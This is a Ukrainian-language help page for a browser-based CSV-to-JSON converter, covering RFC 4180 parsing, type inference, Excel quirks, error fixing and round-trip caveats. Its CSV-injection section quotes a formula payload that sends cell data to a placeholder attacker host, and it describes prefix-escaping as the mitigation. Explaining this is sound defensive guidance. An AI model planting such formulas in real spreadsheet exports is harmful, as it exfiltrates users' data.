Конвертер CSV в JSON

Вставте валідний CSV — експорт з Excel, завантаження з Google Таблиць, дамп бази даних або відповідь API — і конвертер миттєво видасть чистий масив JSON. Перший рядок за замовчуванням вважається заголовком і стає ключами об'єкта JSON; наступні рядки стають об'єктами в масиві JSON.

Виведення типів перетворює:

• очевидні числові рядки на числа (42 залишається цілим числом, 3.14 залишається числом з плаваючою комою)
• рядки логічних значень на булеві (true/false без урахування регістру)
• порожні клітинки на null

Вимкніть ці функції, якщо ваш подальший споживач суворо ставиться до типів.

Конвертація виконується повністю у вашому браузері за допомогою написаного вручну парсера RFC 4180 разом із нативним JSON.stringify (згідно з ECMA-404). Вихідні дані готові для вставки у файл `.json`, передачі в REST API або використання як набору даних JavaScript.

• Крок 1: Вставте ваш CSV в редактор. Парсер перевіряє валідність під час введення — недійсний CSV (незакриті лапки, нерівні рядки, неправильний роздільник) показує точну помилку із зазначенням рядка та стовпця.
• Крок 2: За потреби налаштуйте парсер — виберіть роздільник (за замовчуванням кома; перемкніть на крапку з комою для експорту з європейського Excel або на табуляцію для файлів TSV), увімкніть або вимкніть режим рядка заголовка та виберіть виведення типів.
• Крок 3: Вихідний JSON з'являється в реальному часі на правій панелі. Натисніть «Копіювати» (у буфер обміну) або «Завантажити» (файл `.json`).

Для програмних робочих процесів ця ж логіка доступна через ендпоінт `/api/calculate` — надішліть туди CSV за допомогою POST-запиту та отримайте JSON у тілі відповіді. Безпека двостороннього перетворення зберігається для плоских табличних даних; вкладені дані потребують спеціальної стратегії зведення.

CSV (Comma-Separated Values) — це плоский табличний формат, де кожен рядок є рядком таблиці, а поля розділені роздільником. Він не має власних типів (кожна клітинка є текстом), вкладеності (один рівень глибини, як таблиця бази даних) та мінімальних метаданих (необов'язковий рядок заголовка). Він універсально читається: кожен табличний редактор, кожен імпорт до бази даних та кожна консольна утиліта розуміють CSV.

JSON (JavaScript Object Notation) — це ієрархічний формат із явними типами (рядок, число, логічне значення, null), вкладеними об'єктами й масивами, а також самоописовими ключами для кожного запису. JSON є загальновизнаною мовою для REST/GraphQL API, NoSQL баз даних та файлів конфігурації.

Коли що використовувати:

• CSV для масивних табличних даних, обміну таблицями, завантаження ETL та роботи аналітиків.
• JSON для API, конфігурацій, вкладених записів та обміну повідомленнями між машинами.

Здійснюйте конвертацію між ними на межі систем: завантажте CSV → обробіть як JSON → експортуйте назад у CSV, якщо цього потребує користувач таблиць.

RFC 4180 (2005) — це інформаційний стандарт IETF для CSV.

Основні правила:

• Записи розділяються за допомогою CRLF (Windows) або LF (Unix).
• Поля розділяються роздільником (кома за стандартом; на практиці часто використовують інші символи).
• Поля, що містять роздільник, подвійну лапку або новий рядок, повинні бути взяті в подвійні лапки.
• Всередині поля в лапках буквальна подвійна лапка екранується її подвоєнням (`""` означає одну `"`).
• Необов'язковий рядок заголовка з'являється як перший запис.

Реалізований тут парсер допускає закінчення рядків лише з LF, роздільники у вигляді крапки з комою, табуляції чи вертикальної риски (налаштовується в параметрах), UTF-8 BOM на початку файлу (видаляється автоматично), а також кінцевий новий рядок в кінці файлу. Він відхиляє незакриті поля в лапках та нерівні рядки з чіткими повідомленнями про помилки.

Виведення типів перетворює очевидні значення без лапок на вбудовані типи JSON.

• Числа: шаблони цифр, що відповідають синтаксису цілих чисел або чисел з плаваючою комою в JSON, стають числами JSON. `42` → ціле число 42. `3.14` → число з плаваючою комою 3.14. `1e6` → 1000000. `01234` є двозначним — строгі парсери чисел відхиляють початкові нулі, тому воно залишається рядком (що якраз потрібно для поштових індексів).
• Логічні значення: `true` та `false` (без урахування регістру) стають булевими значеннями JSON. Примітка: це конвенція YAML 1.2 / строгого JSON — `yes`/`no`/`on`/`off` залишаються рядками (виправлення «норвезької проблеми»).
• Null: порожні клітинки (між двома послідовними роздільниками або в кінці рядка) стають null у JSON.

Якщо ви вимкнете виведення типів, кожна клітинка залишатиметься рядком незалежно від вмісту — це корисно, коли ваш подальший споживач (наприклад, суворий конвеєр TypeScript) очікує однорідних типів.

Excel є найпопулярнішим генератором CSV, і його експорт має свої особливості.

• Кодування: Excel для Windows часто зберігає CSV у кодуванні UTF-8 з BOM (парсер видаляє його автоматично) або Windows-1252 (Latin-1) для старих версій. Excel для Mac зазвичай зберігає чистий UTF-8. Якщо не-ASCII символи виглядають спотворено, повторно збережіть файл як UTF-8 у вашій програмі для роботи з таблицями перед вставкою.
• Роздільники: у європейських локаціях (Німеччина, Франція тощо) Excel використовує крапку з комою, оскільки кома є десятковим роздільником; відповідно налаштуйте роздільник.
• Закінчення рядків: Excel за замовчуванням використовує CRLF — повністю підтримується.
• Лапки: Excel бере в лапки будь-яку клітинку, що містить кому або подвійну лапку; вбудовані лапки екрануються за допомогою `""`.
• Форматування чисел: Excel може експортувати `1,234.56` (кома як роздільник тисяч), і парсер сприйматиме це як рядок, якщо ви не зміните форматування.
• Колонки дат експортуються як рядок за замовчуванням для поточної локалі — зазвичай вимагають додаткової обробки для конвертації в ISO 8601.

JSON є основним форматом запитів і відповідей для REST API, ендпоінтів GraphQL та більшості сучасних вебсервісів.

Конвертація CSV у JSON є частим кроком, коли ви:

• масово імпортуєте дані через API, що приймає масиви JSON (наприклад, реєстрація користувачів, заповнення каталогу товарів, ендпоінти масового оновлення);
• заповнюєте бази даних NoSQL (MongoDB, DynamoDB, Cassandra), які приймають JSON нативно через `mongoimport`, `aws dynamodb batch-write-item` або подібні інструменти;
• наповнюєте конвеєри ETL (Airflow, Prefect, dbt), які переносять експортовані CSV через трансформації на основі JSON;
• заповнюєте тестові дані для прототипів компонентів на React/Vue/Angular.

Після конвертації перевірте вихідний JSON на відповідність вашій схемі (JSON Schema, тіло запиту OpenAPI, вхідний тип GraphQL), щоб виявити невідповідність типів до розгортання.

JSON є рідним фортом даних для середовищ виконання JavaScript (браузер, Node.js, Deno, Bun).

Конвертуйте CSV у JSON, коли вам потрібно:

• вбудувати статичний набір даних у компонент React/Vue (`import data from './data.json'`);
• заповнити початковий стан сховища Redux/Pinia/Zustand;
• передати дані в бібліотеку побудови графіків (Chart.js, D3, Plotly), яка очікує JSON;
• створити прототип скрипта Node.js, який обробляє записи перед записом до бази даних;
• створити мок-ендпоінт Express/Fastify, який повертає зразки даних.

Вихідний JSON із цього конвертера повністю сумісний з ECMA-404 — `JSON.parse()`, тіла POST-запитів `fetch()` та виведення типів у TypeScript (`type Row = typeof data[0]`) працюють без будь-яких змін.

Для дуже великих наборів даних (від 10 тисяч рядків) розважте можливість використання потокового передавання через Papa Parse замість конвертації за один раз.

CSV-ін'єкція (також звана ін'єкцією формул) — це вразливість вебзастосунків, коли файл CSV, що містить префікси формул (`=`, `+`, `-`, `@`), відкривається в Excel або Google Таблицях, і табличний редактор автоматично виконує цю формулу.

Зловмисники можуть використати це для:

• викрадення даних (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
• запуску довільних команд (синтаксис застарілих макросів Excel),
• або спонукання користувачів відвідувати шкідливі URL-адреси.

Цей конвертер працює лише в режимі читання (CSV → JSON), тому він не створює ризику ін'єкцій. Але якщо ваш застосунок генерує експорт CSV з користувацького введення — проводьте санітизацію.

Стандартне пом'якшення ризиків: додавайте одинарну лапку як префікс до будь-якої клітинки, що починається з `=`, `+`, `-`, `@`, `\t`, `\r` або `0x09` (`'=cmd|...`), перед записом у CSV. OWASP має повну пам'ятку з безпеки CSV-ін'єкцій, що охоплює всі варіанти.

П'ять помилок становлять 90% збоїв під час парсингу CSV.

• Незакрите поле в лапках — поле починається з `"`, але не має відповідної закриваючої `"`. Парсер продовжує читання до кінця файлу, а потім видає помилку. Виправлення: переконайтеся, що кожна відкриваюча лапка має пару.
• Нерівні рядки — деякі рядки містять менше або більше полів, ніж заголовок. Причини: випадкові нові рядки всередині незяттих у лапки текстів, відсутні або зайві роздільники. Виправлення: перевірте стабільність кількості стовпців.
• Неправильний роздільник — ваш файл використовує крапку з комою, але в парсері встановлено кому. Змініть налаштування роздільника.
• Неправильний стиль екранування — використання `\"` (стиль JSON) замість `""` (стиль RFC 4180) всередині полів у лапках. Виправлення: повторно експортуйте з вихідного інструменту з правильним використанням лапок за стандартом RFC 4180.
• Невідповідність кодування — символи не у форматі UTF-8 виглядають спотворено. Повторно збережіть вихідний файл як UTF-8 (більшість програм для роботи з таблицями пропонують цю опцію в меню «Зберегти як»).

Повідомлення про помилку в конвертері вказує точний рядок і стовпець.

П'ять важливих нюансів двостороннього перетворення, про які повинен знати кожен розробник.

• Плоскі дані: чистий плаский табличний CSV → JSON → CSV зберігає значення клітинки, типи (з урахуванням підвищення типів, якщо ви повторно розпарсите JSON) і порядок стовпців.
• Вкладений JSON: не може пройти через двостороннє перетворення у CSV без зведення. Виберіть стратегію: назви стовпців через крапку (`address.city`, `address.zip`), рядки JSON всередині клітинок або лише перший рівень.
• Підвищення типів: числові рядки та рядки логічних значень підвищуються під час переходу CSV → JSON; якщо ви експортуєте назад у CSV, вони виводяться у своєму нативному форматі. Поштові індекси (`01234`) вимагають лапок у вихідному CSV, щоб зберегтися.
• Порядок заголовків: конвертер зберігає порядок вихідних стовпців. Порядок ключів об'єкта JSON зберігається сучасними рушіями JavaScript.
• Порожні клітинки: стають null у JSON; якщо ви експортуєте назад, налаштуйте свій генератор CSV так, щоб він виводив порожні рядки або літерали `null` як оригінал.
• Перевіряйте роботу на нетривіальних наборах даних, перш ніж покладатися на двостороннє перетворення у виробничих конвеєрах.

Коротке зіставлення типів:

• Рядок заголовка CSV → ключі об'єкта JSON;
• Рядок CSV → об'єкт JSON;
• Клітинка CSV (без лапок, числова) → число JSON;
• Клітинка CSV (без лапок, true/false) → логічне значення JSON;
• Клітинка CSV (порожня) → null у JSON;
• Клітинка CSV (у лапках або нечислова) → рядок JSON.

Порівняння інструментів: цей конвертер (браузерний, миттєвий, без встановлення, суворий RFC 4180) проти Papa Parse (бібліотека JS, потокове передавання, робочі потоки) проти csvkit (CLI Python, великі файли, визначення діалекту) проти `jq -R -c -f csv2json.jq` (оболонка Unix, програмний).

Найкращі практики:

• Завжди беріть у лапки неоднозначні поля (числові ідентифікатори, поштові індекси, рядки з початковими нулями) у вихідному CSV.
• Використовуйте кодування UTF-8 для сумісності — повторно зберігайте старі файли Excel як UTF-8.
• Перевіряйте вихідний JSON на відповідність вашій схемі (JSON Schema, OpenAPI, типи TypeScript) — виявляйте помилки типів на межі систем, а не в продакшні.
• Зберігайте CSV як єдине джерело істини для табличних даних і за потреби генеруйте JSON заново під час збирання/імпорту.
• Для файлів розміром понад 50 МБ використовуйте потокові інструменти (Papa Parse worker, конвеєр csvkit) замість конвертації у браузері.